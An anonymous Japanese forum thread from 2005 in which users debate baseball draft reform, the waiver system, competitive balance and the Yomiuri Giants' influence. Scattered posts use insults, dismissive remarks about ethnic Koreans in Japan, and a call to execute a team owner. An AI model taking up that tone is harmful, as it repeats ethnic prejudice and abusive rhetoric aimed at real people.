巨人の話でお茶濁してるけど逆ウエーバーの利点なんてまったくないだろ
戦力均衡にもならないし選手の希望球団にも入団できない
どさくさに紛れてウンコ制度導入するなよ
と、某万年Bクラスチームファンの俺は思う

154 :名無しさん@恐縮です:2005/04/27(水) 11:59:15 ID:ap+Jd94W
もうプロ野球やめたら・・・?


155 :名無しさん@恐縮です:2005/04/27(水) 11:59:17 ID:fgFhPcgH
清原にオーナー兼監督兼キャプテン兼4番でにすればいい。

156 :名無しさん@恐縮です:2005/04/27(水) 12:01:10 ID:EJXwwnlr
清武「(何事も巨人の思い通りに進めるべきだということを)分かっていない人はまったく分かっていない」

157 :名無しさん@恐縮です:2005/04/27(水) 12:01:18 ID:TUvDb7Qs
5連敗は最高だったがな。オールスターまでに一位でないとおぼ終わりなのだ。
あと3ヶ月ほどだな。まだまだだ。負けが込むと勝手に自滅してくれるから、
常に勢いづかせないようにするのが、ペナントレースの運び方だな。対巨人の。

158 :名無しさん@恐縮です:2005/04/27(水) 12:01:28 ID:oZykMf7M
>>122
全球団でやらないと意味内

159 :名無しさん@恐縮です:2005/04/27(水) 12:01:37 ID:lwFmRP3Q
>>154
土方や低所得者の楽しみなくすなや

160 :名無しさん@恐縮です:2005/04/27(水) 12:03:14 ID:u3zEx8kv
>>159は土方で低所得者(笑)

161 :名無しさん@恐縮です:2005/04/27(水) 12:03:28 ID:mKJ2jmDB
四番 清武

162 :名無しさん@恐縮です:2005/04/27(水) 12:03:57 ID:ddN6PIlG
完全にクジで割り振り
指名順を球団間で売り買いすればいい

163 :名無しさん@恐縮です:2005/04/27(水) 12:05:24 ID:F3ZViQxh
>>153
戦力均衡なんて幻想。
Bクラスを応援する奴は地元民で十分だろ。
強くなりたきゃ金掛けるなりスカウトを充実させるなりすればいい。

164 :名無しさん@恐縮です:2005/04/27(水) 12:05:29 ID:lwFmRP3Q
戦力の均衡がプロ野球の人気回復に繋がるとか思ってる馬鹿いるけど
だったら単独首位、最下位のチームがでてきたら手心加えてとにかく独走をなくせばいい

小手先で色々やったってここ何年ペナントはいつも首位独走だから飽きてるんだよ

165 :名無しさん@恐縮です:2005/04/27(水) 12:05:41 ID:oZykMf7M
球団保有人数を削減して
それ以外の規制はなしにしたら良いと思う
ベンチに入れない奴はシーズン中にも自分から移籍を申し出る

166 :名無しさん@恐縮です:2005/04/27(水) 12:06:37 ID:oZykMf7M
>>163>164
オマエラは今の巨人の順位を知っているのか?

167 :名無しさん@恐縮です:2005/04/27(水) 12:07:32 ID:gTd1uQ84
MLBの完全ウエーバーが失敗しているなら巨人案は検討に値するじゃないか。
誰だ反対してるのは。頭が固いな。

168 :名無しさん@恐縮です:2005/04/27(水) 12:08:25 ID:moMDPfBK
メジャーの場合は完全ウェーバーだけじゃなくFAで主力選手を失った球団が
その補償としてドラフト指名権を得ることでバランスをとってる訳だが
これなんてなおさら巨人は反対するだろうな

169 :名無しさん@恐縮です:2005/04/27(水) 12:08:53 ID:5/J1FA8N
裏金球団に意見させてる事自体がおかしい
しおらしく他球団の意向に従わせろ

170 :名無しさん@恐縮です:2005/04/27(水) 12:09:21 ID:u3zEx8kv
>>167
つりですかwwwwwwwww

171 :名無しさん@恐縮です:2005/04/27(水) 12:09:24 ID:B5o5VJyp
>>166
今は虚人が最下位独走だから球界が盛り上がってるっていいたいの?
まあ松井やイチローが打率一割低迷でも充分楽しめる俺は勝ち組

172 :名無しさん@恐縮です:2005/04/27(水) 12:09:41 ID:gUcYkLEN
>>89
それ結構いいかもね。
セリーグにもプレーオフを導入してAクラスに入るメリットができれば面白いかも。

まあ、どちらにしろFAで金のある球団に行くならまだしも
入団については、戦力均衡にしないといけないよな。
今みたいに入団もFAも金のあるところに選手が集まると
職業選択の自由の前にホントにプロ野球がなくなるよ。
清武はそのくらいの危機意識があるのか?

巨人の視聴率はジリ貧だけど、思い切って改革しなきゃいけない今、
巨人の発言力が低下しているのはいいことだな。
今年はどん底でもいいから徹底的に改革してほしい。

173 :名無しさん@恐縮です:2005/04/27(水) 12:10:20 ID:gTd1uQ84
>>170
いや、マジで。
なにが悪いのか分からない。
失敗してる方式を使おうなんて頭がおかしいと思う。

174 :名無しさん@恐縮です:2005/04/27(水) 12:11:13 ID:moMDPfBK
>>170
十分に機能してない=今の制度の方が良いという訳ではない
失敗失敗と強調してるのは巨人が自分に有利な制度を守りたいからだろ

175 :名無しさん@恐縮です:2005/04/27(水) 12:11:33 ID:5Y1GuPGm
首位争いや強いチームがどうこうより迷走する巨人が一番面白いってことに気づいた

176 :名無しさん@恐縮です:2005/04/27(水) 12:12:34 ID:YV4cKbeV
戦力均衡?

努力なしに戦果を得ようという魂胆、ぬるい発想が、
近年のプロ野球離れを引き起こしてる事を自覚せいよ。

おままごとがやりたいなら、プロなど名乗るな。

177 :名無しさん@恐縮です:2005/04/27(水) 12:13:08 ID:97DsOJuv
抽選方式のドラフト時代のほうが、巨人は強かった。人気もあった。
FA導入以前のほうが、巨人は強かった。人気もあった。


178 :名無しさん@恐縮です:2005/04/27(水) 12:13:14 ID:3B6c9rR+
そういえば書くの忘れてた










元木氏ね

179 :名無しさん@恐縮です:2005/04/27(水) 12:13:17 ID:GqwNjQ6x
自民党はダメだけど他の党でも結局ダメって例えがぴったりだな

180 :名無しさん@恐縮です:2005/04/27(水) 12:13:20 ID:JC5wszdz
新入団選手の平等分配よりかは
才能のある選手2軍で腐りかける選手をいち早く1軍で
活躍させるようなシステムのほうが必要だと思う。

もっと選手に自由を持たせてもいいと思うよ。

181 :名無しさん@恐縮です:2005/04/27(水) 12:14:20 ID:moMDPfBK
>>174
>>173だった・・・

182 :名無しさん@恐縮です:2005/04/27(水) 12:15:14 ID:p8sMa04N
>>145
味噌市民だけどあの無関心さは呆れた

183 :名無しさん@恐縮です:2005/04/27(水) 12:15:26 ID:oZykMf7M
>>176
で巨人が最下位にいることをどう思う?

184 :名無しさん@恐縮です:2005/04/27(水) 12:15:02 ID:6fLros7L
横浜ファンとしては完全ウェーバーにするのは再来年からにしてほすぃ

185 :名無しさん@恐縮です:2005/04/27(水) 12:16:29 ID:3fbTwlun
巨人がスケープゴートになってくれてるうちはまだいいけどね
この先どんな言い訳を思いつくか楽しみ

186 :名無しさん@恐縮です:2005/04/27(水) 12:18:23 ID:3fbTwlun
阪神戦を全国放送すべき

187 :名無しさん@恐縮です:2005/04/27(水) 12:19:30 ID:O5VPYD29
>>186
在日しかファンがいないのにか?

188 :名無しさん@恐縮です:2005/04/27(水) 12:20:50 ID:ei100lyo
福岡ダイエーからソフトバンクと企業名が前面に出されたのに違和感感じる。
企業名なくして地域名だけにして欲しい。
巨人は東京巨人軍でいいし。

189 :名無しさん@恐縮です:2005/04/27(水) 12:21:15 ID:3fbTwlun
いやゴミ売りと同じような低視聴率連発で黙る珍ヲタがみたいから

190 :名無しさん@恐縮です:2005/04/27(水) 12:21:59 ID:af3XeYu5
>>184
社会人になって栂野はイマイチとの評判だが。

191 :名無しさん@恐縮です:2005/04/27(水) 12:22:43 ID:h+V7j8RS
>>188

おかげで客激減してるしな

ファン感での一幕

われら〜の♪われらの〜♪ソフトバーンク ホオ〜クス〜 (一同失笑

192 :名無しさん@恐縮です:2005/04/27(水) 12:24:36 ID:p7XukHWA
>>184
完全ウェーバーなんて失敗した制度を取り入れる程間抜けじゃないでしょ。



193 :名無しさん@恐縮です:2005/04/27(水) 12:25:02 ID:ch94Lnnf
>>188
弟がホークスファンなんでCD聞かせてもらったけど
勝どきあげろ→ソフトバンク ソフトバンク

っていうのがどうもね

194 :名無しさん@恐縮です:2005/04/27(水) 12:25:59 ID:YV4cKbeV
>>183
良い傾向なんじゃないの?

補強には失敗がつきものだし、
スター集めりゃ強くなるという幻想から目を覚ませば
ちっとはマシな補強に走るようになるかもな。


195 :名無しさん@恐縮です:2005/04/27(水) 12:26:25 ID:h+V7j8RS
>>193

勝ちどきあ〜げろ ヤフードーム!



じゃねーの

196 :プラス8失恋レゾナンス@LOVELESSマイナス1φ ★:2005/04/27(水) 12:27:00 ID:???
>>135
今はなんでもHPがあるなあ。すげえ。

197 :名無しさん@恐縮です:2005/04/27(水) 12:27:04 ID:VWFUkXwP
巨人はそろそろ崩壊しそうだーね。

198 :名無しさん@恐縮です:2005/04/27(水) 12:27:28 ID:KaIuymd8
未だに最強思想を持ってる巨人は可哀想デスネ

199 :名無しさん@恐縮です:2005/04/27(水) 12:27:47 ID:18CdT3nX
俺が考える新人選手選択方式

1、プロ野球入団を希望する選手は指定日までにコミッショナーに登録する。
2、12球団オークション会議で、選手名・五十音順で入札する。

200 :名無しさん@恐縮です:2005/04/27(水) 12:28:14 ID:Ki2oKLJH
崩壊しても相変わらずであってほしい

201 :名無しさん@恐縮です:2005/04/27(水) 12:28:54 ID:wIlLhbB3
今一番大切なのはサラリーキャップの成立だと思うが

202 :名無しさん@恐縮です:2005/04/27(水) 12:28:55 ID:xArX4jnf
巨人人気だの巨人戦放映権料に頼って経営してる球団がいくつもある時点で
短期的には戦力均衡自体が全体の利益にならねぇってのが根本的にオhル

一回巨人無しでもやってけるところまで縮小しろや

203 :名無しさん@恐縮です:2005/04/27(水) 12:30:01 ID:vHtAi7N0
ドラフト拒否った奴って数年契約交渉できないんでしょ
だったらメジャー挑戦した勘違いアナル野郎も数年間日本球界に戻れないようにすれば
甘ったれた奴がいなくなっていい

204 :名無しさん@恐縮です:2005/04/27(水) 12:31:05 ID:ZMHTjQtm
巨人はフロントがアホだろ。 無能な官僚的前例主義になっているね

205 :名無しさん@恐縮です:2005/04/27(水) 12:31:23 ID:SKrqng5L
まだゴミ蛆は好き勝手にやるつもりなのか

206 :名無しさん@恐縮です:2005/04/27(水) 12:32:06 ID:e16qRndI
>>202
不人気の相撲も相変わらずTV中継あるしサッカーやバレーもリーグ自体は存続してるから
最終的にそれくらいの規模になって収まるはず

207 :名無しさん@恐縮です:2005/04/27(水) 12:32:24 ID:0GEqnqoy
>>203
TDNは日本の全球団が引いたw

208 :名無しさん@恐縮です:2005/04/27(水) 12:32:26 ID:YV4cKbeV
俺は巨人ファンだからケチつけてるわけじゃなくて
あくまで客観的な意見として、戦力均衡(おままごとの世界)なんか望むような体質では
今後も野球離れは続くよと忠告してるにすぎない。

209 :名無しさん@恐縮です:2005/04/27(水) 12:32:52 ID:aS+ilpBE
とうとう、客の不入り、視聴率激低下が影響力にまで及んだか。
そら儲からない相手は誰も相手せん罠。今までも巨人は嫌いだったが
巨人で儲けることが出来るから従ってただけでw

210 :名無しさん@恐縮です:2005/04/27(水) 12:33:04 ID:fMWt2Jo4
>>199
はるか昔からエモヤンが同じことを提唱している。

211 :名無しさん@恐縮です:2005/04/27(水) 12:33:34 ID:vqY5McRX
巨人は球界の盟主、二志は内野の名手、どちらもうそ臭い

212 :名無しさん@恐縮です:2005/04/27(水) 12:34:09 ID:ch/zxVqs
>>203>>207
ウホッ!ある単語に敏感に反応w

213 :名無しさん@恐縮です:2005/04/27(水) 12:34:13 ID:vmYEi8Di
ウエーバー順基本は下位からじゃないと均衡にならないけど
セ・パの同順位同士でウエーバー順をかけたミニ日本シリーズ
やったらどうかね?6位/5位は1試合 4位3位2位は3試合
で最後に日本シリーズへ突入と 盛り上がらんかな?

214 :名無しさん@恐縮です:2005/04/27(水) 12:34:14 ID:ch94Lnnf
>>211
名手清原ってのもあるぞ

215 :名無しさん@恐縮です:2005/04/27(水) 12:34:51 ID:YV4cKbeV
>>206
そこが野球ファンの一番の勘違いなんだよな。

プロ野球は相撲やJと違って「企業の広告塔」のために存在してる興行なのよ。
不人気になる=広告効果が望めなくなる、だから企業は撤退→プロ野球崩壊となるわけ。

216 :名無しさん@恐縮です:2005/04/27(水) 12:34:54 ID:oXLTZjcB
>>199
在日の選手はどっちの名前で行くんだ

217 :名無しさん@恐縮です:2005/04/27(水) 12:35:04 ID:0GEqnqoy
現行制度に変えて、一番失敗してるの巨人だと思うんだがな。
まだ損するつもりなんだろうか。

218 :名無しさん@恐縮です:2005/04/27(水) 12:35:52 ID:ENKbr3NZ
>>208
それが本音なんだけど頭の悪い野球ファンやマスコミは理解できない
で、選挙みたいに綺麗事ならべた改革案しかでないのよ

219 :名無しさん@恐縮です:2005/04/27(水) 12:36:34 ID:oZykMf7M
>>215
んなことはないだろ
企業が撤退しても>>206が言うように規模縮小で残る

220 :名無しさん@恐縮です:2005/04/27(水) 12:38:53 ID:P6ezV+0c
>>8
違います

巨人から強い選手が抜けるのが嫌だといってるのです

221 :名無しさん@恐縮です:2005/04/27(水) 12:39:28 ID:aS+ilpBE
>>208
>>218
巨人への一極集中が嫌われた結果が今の惨状ですが何か?
頭の賢いファンは戦力が一部の球団の集中する方が良いと
思ってるようですねw

222 :名無しさん@恐縮です:2005/04/27(水) 12:39:36 ID:+na7yV41
>>215
お前の崩壊がどの程度を意味するのか知らないけど社会人野球くらいにはなって残るでしょ
今みたいに140試合もできないだろうけど

223 :名無しさん@恐縮です:2005/04/27(水) 12:40:54 ID:YV4cKbeV
>>219
てか企業が撤退したら誰が選手の給料を払うの?
アマチュア野球としてやっていくってことかい?

もう「プロ」野球じゃないじゃん。


224 :名無しさん@恐縮です:2005/04/27(水) 12:41:42 ID:5/J1FA8N
スタート地点を均衡にしようとする事のどこがおままごとなのか
そこからチーム力に差を付けるのが球団努力だろ

225 :名無しさん@恐縮です:2005/04/27(水) 12:41:48 ID:oXLTZjcB
パロ野球

226 :名無しさん@恐縮です:2005/04/27(水) 12:42:14 ID:vmYEi8Di
天下泰平の江戸時代より群雄割拠の戦国時代のほうが
面白いし人気あるって事じゃないか?

227 :名無しさん@恐縮です:2005/04/27(水) 12:42:40 ID:JbRUr4JR
相撲の場合は力士の給金が少ないし
余剰金もたくさんあるから人気がなくなってもやっていける。

228 :名無しさん@恐縮です:2005/04/27(水) 12:42:41 ID:+na7yV41
>>221
いや言いたいのは巨人の一極集中肯定ではなく戦力均衡という言葉が幻想だということ
実際ドラフト評価で選手を均等に分配しても各球団の育成能力で均等になるはずもない

229 :名無しさん@恐縮です:2005/04/27(水) 12:43:15 ID:oZykMf7M
>>223
ヒント:入場料、広告費、放映権料


むしろ今の企業に丸抱えの状態のほうがプロとしてあるまじき状態だろ
ありゃ社会人の一種だ

230 :名無しさん@恐縮です:2005/04/27(水) 12:43:52 ID:0Khil/ln
今だに球界の盟主気取りで我侭いったらみんなに反対されてブチ切れたってことでしょ ばかじゃねーの
巨人1チームで独立リーグでも作ればいいよ


231 :名無しさん@恐縮です:2005/04/27(水) 12:44:29 ID:rA7uFpCC
 海外視察意味ねぇ

232 :名無しさん@恐縮です:2005/04/27(水) 12:44:49 ID:YV4cKbeV
>>221
巨人への一極集中が始まったのはここ1.2年のことだっけか?
既に20年以上前から始まってたような記憶があるんだがな。

最近の野球離れはプロ野球の価値の低下によるものであって、
(メジャーの存在や国際試合の増加など)
それを無理矢理に巨人の一極集中に原因をなするつけるのは賢いとは言えないな。


233 :名無しさん@恐縮です:2005/04/27(水) 12:45:06 ID:oZykMf7M
まあ俺は戦力均衡に賛成って訳でもないけどな
もっと自由に移籍できるようにした方がいい。
その代わりに、2部制にして昇格・降格をつくって下位の消化試合を減らせ

234 :名無しさん@恐縮です:2005/04/27(水) 12:46:38 ID:s/UIke1T
巨人
  ──┼──                 |       |
      |                 | ̄ ̄ ̄ ̄|    ノ ̄ ̄| ̄ ̄   
      ノ_,,,                     ノ       |       |  |
    ‘⌒   ヽ   ├   ───        ノ       .|       |  |
         )    |               ノ        ノ       ノ  |  /
      __丿  ○⌒            /        ノ      ノ   レ'   




235 :名無しさん@恐縮です:2005/04/27(水) 12:47:40 ID:5WihtgLh
何を言おうが巨人は最下位なんだよ。

236 :名無しさん@恐縮です:2005/04/27(水) 12:47:51 ID:oXLTZjcB
戦力不均衡ってドラフト制度じゃなくて
もっぱらFA制度から来てるような気が

237 :名無しさん@恐縮です:2005/04/27(水) 12:47:25 ID:6fLros7L
>>190
今年の栂野じゃなくて来年の大引が欲しいのです

238 :名無しさん@恐縮です:2005/04/27(水) 12:48:33 ID:YV4cKbeV
>>224
スタートが平等という発想がおままごとなのよ。
プロの世界に対する冒涜にしか見えない、俺には。

体調管理を怠ったA選手が試合当日、体調をくずしました。
A選手が回復するまで試合開始は延期です、とやられるようなもの。

239 :名無しさん@恐縮です:2005/04/27(水) 12:48:57 ID:NaiIiYq+
11球団は巨人様がいなけりゃ存在すらできないクズどものくせに

240 :名無しさん@恐縮です:2005/04/27(水) 12:49:36 ID:oZykMf7M
>>238
お前は本質を全くわかっていないと思うが

NFLについてはどう思う?

241 :名無しさん@恐縮です:2005/04/27(水) 12:49:37 ID:ZMMPjWWt
いっそ巨人抜きの11球団で完全ウエーバー導入して、巨人への入団資格を
日米韓台のFA取得選手に限定すればいいのでは?
年間4〜5人の制限つけて

242 :名無しさん@恐縮です:2005/04/27(水) 12:49:49 ID:JbRUr4JR
>>238
例えが的外れ。

243 :名無しさん@恐縮です:2005/04/27(水) 12:49:56 ID:q4ULFUWT
巨人戦は空席が目立つね、それもまだらハゲのようなボコボコとした大きな空席

244 :名無しさん@恐縮です:2005/04/27(水) 12:51:12 ID:KaIuymd8
多分、今は虚塵より阪神の方が発言力ある悪寒

245 :名無しさん@恐縮です:2005/04/27(水) 12:51:31 ID:BU2f3TYs
巨人のスカウトのほうがいいかげんですな

246 :名無しさん@恐縮です:2005/04/27(水) 12:52:28 ID:uX9jJXjP
>>243
団体客目当てに抑えといたのがさばけなかったとかなのかな

247 :名無しさん@恐縮です:2005/04/27(水) 12:52:37 ID:akWPun08
巨人の中に12球団作れ。
機構がダメなら何やってもダメ。

248 :名無しさん@恐縮です:2005/04/27(水) 12:52:54 ID:YV4cKbeV
>>229
だから広告効果が望めないって話なんだけど。
どうしてそこに広告費が入ってくるの?
放映権料にしたって、CS中心になるんだろうから、微額だぞ当然。
そして最大の問題はその規模縮小したプロ??野球に客が寄り付くのかってこと。

客が今まで通り集まると思ってるなら、見通しがあまりに甘すぎる。


249 :名無しさん@恐縮です:2005/04/27(水) 12:53:03 ID:PY2Jcd3U
取り合えずFAで選手を獲得した球団は一位指名を返上して
放出した球団にあげるとかの制度は入れて欲しいな。
広島が強くなるし。

250 :名無しさん@恐縮です:2005/04/27(水) 12:54:16 ID:M3T/Hn0b
今までの小手先のルール改正が制度疲労を起こしているから
改革会議をやっているのに現状維持を主張して、
あげく意見が通らないってわめくのは

あんたら基地外だよ!!

ま、そもそもプロ野球全体を統括するコミッショナーの権限の拡大から
始めて球界全体が一丸になってやらないと
もはやなにやってもどん詰まりだろうなぁ・・・。
今のままだとそれぞれの球団が自分勝手な主張しているだけにしか見えない。
この辺は巨人だけの責任じゃないけどさ・・。

251 :名無しさん@恐縮です:2005/04/27(水) 12:54:57 ID:eqJRLv7P
>>233
二部はプロ野球の恥球団セ巨人、パ楽天、あとマスターズリーグで。

252 :名無しさん@恐縮です:2005/04/27(水) 12:56:00 ID:qgHQcaF6
逆ウェーバーはまちがいなくソフトバンクの意見
まちがいないwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

253 :名無しさん@恐縮です:2005/04/27(水) 12:57:04 ID:CLa6v2Yc
中途半端なリサーチに基づく中途半端な現状維持案なんか出さないで、巨人はやはり
ドラフト完全自由化、選手移動完全自由化ぐらいの案をぶちあげてくれないと

254 :名無しさん@恐縮です:2005/04/27(水) 12:57:21 ID:YV4cKbeV
>>240
プラス材料もあればマイナス材料も当然あるのが通常の流れ。
それらを一切排除しようってのが狙いなんだから、人々には異質なものとして映るわけ。

アメスポろくに見ないから知らん>NFL

255 :名無しさん@恐縮です:2005/04/27(水) 12:58:00 ID:q4ULFUWT
>>246
たぶん団体向けだね

256 :名無しさん@恐縮です:2005/04/27(水) 12:58:08 ID:GYLeC1Q7
>>248
オマエはアホだろ。
なぜ現状追認の発想しか出来ない?
CS中心の放映権料+入場料でやればいいだけじゃないか。

257 :名無しさん@恐縮です:2005/04/27(水) 12:58:20 ID:2gDr47AM
逆うぇーばーはふざけてる

258 :名無しさん@恐縮です:2005/04/27(水) 12:58:26 ID:oZykMf7M
>>254
うむ
NFLを見てから戦力均衡については語ってくれ

259 :名無しさん@恐縮です:2005/04/27(水) 12:58:44 ID:yJgIi3JS
>>250
まずそのコミッショナーが巨人印の権限なしお飾りである以上
何も変わらんよ。
去年責任だ、意見とおらないと、だとかで辞める辞める騒いだ人が
まだやってるんだぜ?

260 :名無しさん@恐縮です:2005/04/27(水) 12:59:18 ID:2ImXySL7
逆ウェーバーって何だよ

261 :名無しさん@恐縮です:2005/04/27(水) 13:00:57 ID:oZykMf7M
>>248
もちろん観客も視聴者も激減すると思うよ
それでもその少ない客を相手にする規模に縮小するしかなし、
縮小して生き残らない(=崩壊する)という理屈はない。

Jやプロレス、ボクシング、モータースポーツ、その他もろもろ
規模の小さいスポーツが日本にいくらあると思っているんだよ
そういう風に生き残れば良いだろ

262 :名無しさん@恐縮です:2005/04/27(水) 13:01:06 ID:YV4cKbeV
>>258
そこまで言うなら君が語ろうよ。

263 :名無しさん@恐縮です:2005/04/27(水) 13:01:13 ID:moMDPfBK
>>228
親会社の資金力の差などによる格差を縮めようとする努力と
何でもかんでも完全に均衡にしようとする事を一緒にされてもな

264 :名無しさん@恐縮です:2005/04/27(水) 13:01:51 ID:PY2Jcd3U
戦力均衡の良いところは理論的には終盤まで優勝する球団が
わからなくて全球団が集客力を終盤まで保てることにある。

265 :名無しさん@恐縮です:2005/04/27(水) 13:02:59 ID:YV4cKbeV
>>256
だからそれで「プロ」としてやっていけるのかと聞いてるんだよ。
Jリーグ並に給料もらえると思ったら大間違いだぞ。

四国リーグとまではいかなくとも、
年俸1000万もらえれば高給取りの世界かもしらんぞ。

266 :名無しさん@恐縮です:2005/04/27(水) 13:02:59 ID:oZykMf7M
実際、視聴率を見ると接戦のほうが視聴率いいもんな

267 :名無しさん@恐縮です:2005/04/27(水) 13:05:49 ID:Pj3JMdO+
巨人なんてもうドラフトで獲った生え抜きの選手を育てて使って・・・
なんててことやってないんだから、改革どころかドラフト参加しなくてもいいだろうに。

268 :名無しさん@恐縮です:2005/04/27(水) 13:06:07 ID:PY2Jcd3U
全球団が企業名を返上してスポンサー収入を強化すれば
現状よりやや後退するくらいで存続は可能じゃないの?

269 :名無しさん@恐縮です:2005/04/27(水) 13:06:30 ID:YV4cKbeV
>>261
それはつまりプロ野球が社会人野球になるってことでしょ。
プロ野球が今のまま残るとは到底思えないんだけど。

270 :名無しさん@恐縮です:2005/04/27(水) 13:07:11 ID:PcDT3KhS
ナベツネをまず死刑にしろ。話はそれからだ

271 :名無しさん@恐縮です:2005/04/27(水) 13:07:58 ID:auCFxQ3s
最下位は黙ってろYo(プゲラ

272 :名無しさん@恐縮です:2005/04/27(水) 13:08:12 ID:rngHOGkI
ID:YV4cKbeVに同意する気はさらさらないが戦力均衡について
NFLの例一つでしか語ってはいけないというID:oZykMf7Mも痛々しい

273 :名無しさん@恐縮です:2005/04/27(水) 13:11:02 ID:oZykMf7M
>>272
いや、実例を知らないのに批判するのは間違いでしょ>ID:YV4cKbeV
俺は別に賛成派ではないが>>233


274 :名無しさん@恐縮です:2005/04/27(水) 13:11:05 ID:AG4KJ1nZ
V9時代の巨人軍はドラフト制度がなかったから強かっただけじゃなく
適材適所だったから強かった。
今の巨人軍、ドラフト撤廃されたにしても同じポジションに複数人
有望な選手もへぼコーチにつぶされ、二軍で飼い殺し、が目に見えるな

275 :名無しさん@恐縮です:2005/04/27(水) 13:12:38 ID:moMDPfBK
逆に疑問なのは全国中継も少なく
競合するスポーツも多いMLBがなぜあれほどの高年俸を維持できるのか
といっても最近は少し高騰に陰りが見えるが、
収益構造として日本で取り入れられる部分はどのあたりだろうか

276 :名無しさん@恐縮です:2005/04/27(水) 13:13:04 ID:7IZhO9JA
完全自由化にしろ
ドラフトとかウエーバーなんかやったらみんなメジャーに行く
楽天みたいな貧乏球団が球団をもってもしゃーないだろ
プロ野球は金のある球団8個ぐらいでやるほうがいい

277 :名無しさん@恐縮です:2005/04/27(水) 13:14:24 ID:qgHQcaF6
>>232
バカはお前だよwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww
野球人気低下発言の根拠は巨人戦の関東での視聴率が低下したからだよwwwwwwwwwwwwwwwwwwwww

278 :名無しさん@恐縮です:2005/04/27(水) 13:14:42 ID:YV4cKbeV
>>273
実例ってせめて国内のもので比較するべきだと思うが。
ある一カ国で戦力均衡が成功すれば、どの地域でもそれが適用できると思ってる
お花畑っぷりが見てて痛々しいってことだと思うよ。

279 :名無しさん@恐縮です:2005/04/27(水) 13:15:02 ID:JnTvdD+D
今までわがまま突き通してきた球団はどこですか?

280 :名無しさん@恐縮です:2005/04/27(水) 13:15:47 ID:qgHQcaF6
>>249
それはないwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

281 :名無しさん@恐縮です:2005/04/27(水) 13:16:09 ID:gUcYkLEN
野球の場合、ドラフト選手の入団に関してはある程度平等にすることは必要でしょ。

サッカーとかと違って移籍金の支払いによる移籍なんてないし
採用したとしても今の球団経営者を見てもうまく選手を流動化させることは
かなり難しいと思う。

その反面、FAによる移籍が認められているんだから実力のあるものは
球団を選べるし、FAがいいかは別として「プロ」っていう観点ではいいんじゃない?

せめて入団時における均衡だけでも必要だと思うのは
野球はほかのスポーツと少し性質が異なり投手など個人の力が
試合を左右する確率が高いと考えられるから。
個人の力で勝敗が決まるんじゃなく、他のスポーツに比べて高いってことね。




282 :名無しさん@恐縮です:2005/04/27(水) 13:16:53 ID:YV4cKbeV
>>277
だからなんで視聴率が低下したのこってことで
>>232に関連してるわけだが。

ってか、w多いね。
脳内活発そうで春を感じさせてくれる。

283 :名無しさん@恐縮です:2005/04/27(水) 13:17:12 ID:moMDPfBK
無理に球団数を縮小してもオリっ鉄のような球団が増えるだけじゃないか
阪神のオーナーは球団数が減れば1チームのファンが増えて良いとか言ってたけど
仙一に説得されてあっさり態度を翻したな

284 :名無しさん@恐縮です:2005/04/27(水) 13:17:51 ID:PY2Jcd3U
一球団が優勝を何年にも渡り独占したらその球団以外の
チーム人気が悲惨なことになる。

285 :名無しさん@恐縮です:2005/04/27(水) 13:19:47 ID:2torye+V
巨人にとって障害になる選手は引き抜いて飼い殺し
オーナーがナベツネになってからは露骨にやるようになった
まともにライバルと言えるような相手がいなくなった
勝てば何でもやっていいという考えが浸透していった

そのツケがこれだ>>232

286 :名無しさん@恐縮です:2005/04/27(水) 13:20:24 ID:qgHQcaF6
>>282
視聴率が落ちているのは関東だけだよwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

wが多いから、グダグダ言う奴はまちがいなくバカwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

287 :名無しさん@恐縮です:2005/04/27(水) 13:21:14 ID:k1vwmL6y
最下位の大巨人軍は、勝ち組。

288 :名無しさん@恐縮です:2005/04/27(水) 13:21:38 ID:K2x+kZ9K
マジレスすると
完全自由競争でいいんじゃね。
アマチュアの選手の事考えたら、行きたい球団に
行かせて上げたいね。
有望な選手がいきなり不人気球団に行けって言われたら、
正直、萎えるんじゃないか。
そこそこ有望だったら米に行っちゃうんじゃない。

289 :名無しさん@恐縮です:2005/04/27(水) 13:22:06 ID:AG4KJ1nZ
今の巨人軍が弱いのはドラフト制度のせいじゃありません

290 :名無しさん@恐縮です:2005/04/27(水) 13:22:52 ID:17Eso2NP
まぁ巨人がNPB脱退しても どうってことなくなったことを悟るべきだな

291 :名無しさん@恐縮です:2005/04/27(水) 13:23:07 ID:PY2Jcd3U
>>288
FA制度はそのためにある。

292 :名無しさん@恐縮です:2005/04/27(水) 13:23:19 ID:qgHQcaF6
>>283
そりゃそうよwwwwwwwwwwwwwwwwwwwwwwww
例えば、関西からオリッ鉄がなくなっても、阪神ファンがかなり増えるとは思えない

293 :名無しさん@恐縮です:2005/04/27(水) 13:23:26 ID:qECwvxo3
ワーキングへたくそ。大嫌い。東京に帰る。

294 :名無しさん@恐縮です:2005/04/27(水) 13:25:01 ID:YV4cKbeV
ちょっと極論入るけど、

球団への入団は一般で言う就職みたいなものだから、
一旦、入社を済ませた上での(戦力均衡のための)一時的なトレードだったら
まだ理解もできるんだが、入社前の段階で「球界の均衡のために
君はあっちの会社に就職して」って論理はどう考えてもおかしい。

能力がないから蹴られるってのならまだしもね、
こんなのを支持する体質は極めて時代遅れで
一般人から球界がソッポ向かれる遠因となっていると思うわけだよ。

295 :名無しさん@恐縮です:2005/04/27(水) 13:25:18 ID:PY2Jcd3U
確かにソフトバンクが入ったおかげでドラフト改革、年俸改革は
かなりやりにくくなったんじゃないの。

296 :名無しさん@恐縮です:2005/04/27(水) 13:26:04 ID:Bhu3X+eV
以前のオーナー会議
虚塵「抽選ドラフトはいかがなものか・・」
阪神「自由枠をつくったらどうでしょう。選手の意思を尊重しましょう。」
虚塵「自由枠いいよねぇ なぁ広島」
広島「そうですよねこれなら貧乏球団でもチャンス広がりますよねぇ」

虚塵「それはないでしょう なぁ」
阪神「ハハハ それはないですよねぇ」




阪神「ウェーバー制導入します?」
広島「これで戦力も均衡するね なぁ虚塵」
虚塵「でもうちには不利なきが」

広島「いまビリじゃん」
阪神「ははは 虚塵ははは」

297 :名無しさん@恐縮です:2005/04/27(水) 13:26:17 ID:YV4cKbeV
>>285
それで優勝を独占されてるなら嫌になるだろうけど、
巨人・・・・優勝してますか?

298 :名無しさん@恐縮です:2005/04/27(水) 13:26:56 ID:NSbEb3rm
>>288
それが職業選択の自由ってやつだよな。

299 :名無しさん@恐縮です:2005/04/27(水) 13:28:17 ID:qgHQcaF6
新入団選手の平等分配というのは、理にかなっているよ
